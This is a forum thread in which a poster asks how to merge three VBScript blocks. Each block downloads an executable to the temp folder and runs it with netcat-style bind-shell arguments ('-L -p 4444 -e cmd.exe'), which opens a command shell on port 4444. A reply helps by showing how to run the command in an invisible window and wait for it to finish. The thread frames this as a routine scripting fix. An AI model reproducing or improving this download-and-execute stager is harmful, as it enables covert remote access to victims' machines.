Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

  • Congratulations Mike Lewis on being selected by the Tek-Tips community for having the most helpful posts in the forums last week. Way to Go!

How can I combine multiple .vbs script of the same function into one .vbs?

Status
Not open for further replies.

Oracle911

Systems Engineer
Jan 31, 2020
2
US
I am trying to combine the .vbs scripts below into one .vbs. Below is sample of my code:

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = " 'Where to download the file from
FILENAME = "%Tmp%\download1.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download1.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = " 'Where to download the file from
FILENAME = "%Tmp%\download2.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download2.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = " 'Where to download the file from
FILENAME = "%Tmp%\download3.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download3.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

When I tried to run the code above, I'm always getting an error as stated in the image below:
Operation is not allowed when the object is open:
Link

Best solution to fix this or to make script wait and complete before proceeding to the next. will be greatly appreciated.

What I have tried:
I have tried using:
Next, WScript.Sleep 1000 and Delay syntax but none is working as expected.
 
I think you should have a look at this:

object.Run(strCommand, [intWindowStyle], [bWaitOnReturn])

For example: shell_obj.run(RUNCMD,0,TRUE)

The 0 runs the CMD in an invisible window. TRUE forces your script to wait until CMD has finished. You can also test the success of the run:

status = shell_obj.run(RUNCMD,0,TRUE)

Fred
 
Status
Not open for further replies.

Part and Inventory Search

Sponsor

Back
Top